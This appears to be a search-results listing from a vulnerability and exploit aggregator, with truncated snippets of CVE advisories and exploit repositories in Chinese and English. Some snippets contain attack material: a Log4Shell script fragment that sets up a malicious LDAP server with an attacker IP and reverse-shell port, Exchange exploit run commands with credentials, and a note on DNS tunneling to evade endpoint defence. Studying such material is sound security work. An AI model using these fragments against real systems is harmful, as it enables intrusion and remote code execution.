983014 matches found
IServ Schoolserver User Enumeration
IServ Schoolserver suffers from a user enumeration vulnerability. The vendor does not feel this is an issue...
CVE-2025-64087-SSTI-
CVE-2025-64087 SSTI FreeMarker 服务器端模板注入 SSTI 在 XDocReport 中通过 Apache FreeMarker 引擎实现远程代码执行 漏洞定义 漏洞概述 服务器端模板注入 SSTI 是一种 Web 安全漏洞，允许攻击者将恶意代码注入到由内容管理系统 CMS 和 Web 框架使用的模板中，以实现远程攻击、获取敏感信息或执行系统入侵活动。 SSTI 是注入漏洞（如 SQL 注入、XSS 等）的一种变体，攻击者利用模板系统远程部署恶意代码。当 SSTI...
CVE-2026-85538 MISP Attribute Deletion Authorization Bypass Allows Users Without Modify Permissions to Delete Attributes
An incorrect authorization vulnerability in MISP allowed authenticated users to delete attributes from events despite lacking the required permmodify or permmodifyorg permissions. The affected attribute deletion paths relied on organization membership checks performed by...
CVE-2026-85538 MISP Attribute Deletion Authorization Bypass Allows Users Without Modify Permissions to Delete Attributes
An incorrect authorization vulnerability in MISP allowed authenticated users to delete attributes from events despite lacking the required permmodify or permmodifyorg permissions. The affected attribute deletion paths relied on organization membership checks performed by...
CVE-2020-0688-Exchange2010
Exchange2010 的主要问题在于它基于 .NET 2.0，通用的反序列化小工具无法工作。 所有功劳归功于 zcgonvh 和 EazyLov3。 该项目只是以下内容的组合： https://github.com/zcgonvh/CVE-2020-0688/ https://www.buaq.net/go-41757.html 如何执行： compile run Exch2010.exe 192.168.68.110 domain\user P@ssw0rd run ExchangeCmd.exe 192.168.68.110 domain\user P@ssw0rd...
CVE-2020-25078
CVE-2020-25078 使用说明 instructions 攻击url放同一目录下 ip.txt The attack IP is placed in the same directory as ip.txt Terminal log root@localhost:/CVE-2020-25078ls CVE-2020-25078.py ip.txt root@localhost:/CVE-2020-25078cat ./ip.txt https://xxx.xxx.xxx.xxx:3128 http://xxx.xxx.xxx.xxx:80...
CVE-2026-85533 MISP Sharing Group Authorization Bypass via Omitted Distribution Parameter
An authorization flaw in MISP allowed an authenticated user to submit a sharinggroupid without verifying that the user was authorized to use the referenced Sharing Group. In several attribute and Galaxy Cluster creation and editing workflows, validation of the submitted Sharing Group was performe...
CVE-2026-85533 MISP Sharing Group Authorization Bypass via Omitted Distribution Parameter
An authorization flaw in MISP allowed an authenticated user to submit a sharinggroupid without verifying that the user was authorized to use the referenced Sharing Group. In several attribute and Galaxy Cluster creation and editing workflows, validation of the submitted Sharing Group was performe...
CVE-2021-44228-Log4Shell-
CVE-2021-44228-Log4Shell- 渗透测试 1. 创建恶意LDAP服务器（使用Marshalsec） !/bin/bash Script: startldapserver.sh 要求：安装Java和Marshalsec https://github.com/mbechler/marshalsec LDAPPORT="1389" HTTPPORT="8000" ATTACKERIP="192.168.0.101" REVERSEPORT="5555" echo "+ 在端口 $LDAPPORT 上启动恶意LDAP服务器..." java -cp...
CVE-2020-12077
CVE-2020-12077 MapPress Maps Pro "...
CVE-2025-59501
CVE-2025-59501 利用SCCM的AdminService API（当启用了Entra ID集成时）提权为完全管理员并接管SCCM层级架构的POC。更多细节见这篇博客。 依赖 uv 安装 root@kitploit: git clone https://github.com/garrettfoster13/CVE-2025-59501.git cd CVE-2025-59501/ uv sync 使用方法 该工具包含两个模块：token 和 admin root@kitploit: ➜ CVE-2025-59501 git:main ✗ uv run poc.py usage:...
mcpsnoop
面向 MCP 的 Wireshark。 一个透明代理，可在终端中实时显示你的 AI 客户端与 MCP 服务器之间的每一次真实工具调用。 问题所在 官方 MCP Inspector 以自身客户端身份连接，因此它永远看不到 你的 客户端（Cursor、Claude Code、Codex）实际发送给服务器的内容。而且，任何等待请求到达的工具都无法显示模型从未发起过的调用，或使用了错误参数的调用。当工具被静默跳过、能力不匹配，或调用只是挂起时，你只能翻查日志并不断猜测。 mcpsnoop 取而代之，置身于真实数据路径之中。 用它包装你的服务器命令，即可在真实客户端与服务器通信时，实时观察每一个...
tiktok-scraper
TikTok Scraper & Downloader 从TikTok抓取并下载有用的信息。 无需登录或密码 这不是官方API支持等。这只是一个使用TikTok Web API来抓取媒体和相关元信息的爬虫。 内容 功能 待办事项 贡献 安装 使用 在终端中 终端示例 管理下载历史 批量抓取和下载 输出文件示例 Docker 构建 运行 模块 方法 选项 使用Promise 使用事件 如何获取/设置会话值 如何访问/下载视频 输出示例 视频流方法 getUserProfileInfo getHashtagInfo getVideoMeta getMusicInfo 重要说明...
CVE-2025-46078
BUGAuthor: yggcwhat Affected version: Huocms Vendor: https://huocms.com/ Source Code Address: https://gitee.com/digital-flag/huocms Vulnerability File: Upload.php Affected Version： HuoCMS - controller - backend, the resourcetype parameter is validated against a whitelist of allowed file extension...
DNS_Tunneling
介绍 受我近期参与的一个涉及 Cobalt Strike DNS 信标的工作启发，结合尝试绕过 Microsoft Defender for Endpoint 的任务目标，我花了一些时间研究如何利用 DNS 将载荷传输到目标机器。我还进一步挑战自己，尝试在 PowerShell 处于受限语言模式时也能实现这一目标。这项研究主要针对较新的 Windows 版本（例如 Windows 10+、Server 2019+），但正如你稍后所见，较低版本也可能实现。 背景 什么是 DNS 隧道？ DNS 隧道是一项历史悠久的技术，被多种攻击者使用。简单来说，它利用 DNS...
WebminRCE-exploit
WebminRCE-exploit CVE-2022-0824, CVE-2022-0829 - 文件管理器权限利用 用于测试此PoC的易受攻击应用程序可在此处找到：here，以Docker镜像形式提供。 前提条件： Python3 Requests module 描述 漏洞 不正确的访问控制导致远程代码执行 安全用户（低权限用户）可以访问文件管理器模块，而该模块默认可被限制访问。 利用载荷 利用不正确的访问控制漏洞，将cgi文件上传到Webmin服务器。 阶段1（身份验证） 使用安全/低权限用户进行身份验证并登录服务器。 阶段2（将文件下载到服务器）...
xnu
什么是 XNU？ XNU 内核是 Darwin 操作系统的一部分，用于 macOS 和 iOS 操作系统。XNU 是 X is Not Unix 的缩写。 XNU 是一个混合内核，结合了卡内基梅隆大学开发的 Mach 内核与 FreeBSD 的组件，以及一个用于编写驱动程序的 C++ API，称为 IOKit。 XNU 运行在 x8664 和 ARM64 上，支持单处理器和多处理器配置。 XNU 源代码树 config - 配置用于导出API的体系结构和平台 SETUP - 用于配置内核、版本控制和 kextsymbol 管理的基本工具集。 EXTERNALHEADERS -...
CVE-2026-27432 WordPress WP Rentals theme < 3.16.0 - Insecure Direct Object References (IDOR) vulnerability
Authorization Bypass Through User-Controlled Key vulnerability in sc Internet Vivoo WP Rentals allows Exploiting Incorrectly Configured Access Control Security Levels. This issue affects WP Rentals: from n/a before 3.16.0...
CVE-2026-27432 WordPress WP Rentals theme < 3.16.0 - Insecure Direct Object References (IDOR) vulnerability
Authorization Bypass Through User-Controlled Key vulnerability in sc Internet Vivoo WP Rentals allows Exploiting Incorrectly Configured Access Control Security Levels. This issue affects WP Rentals: from n/a before 3.16.0...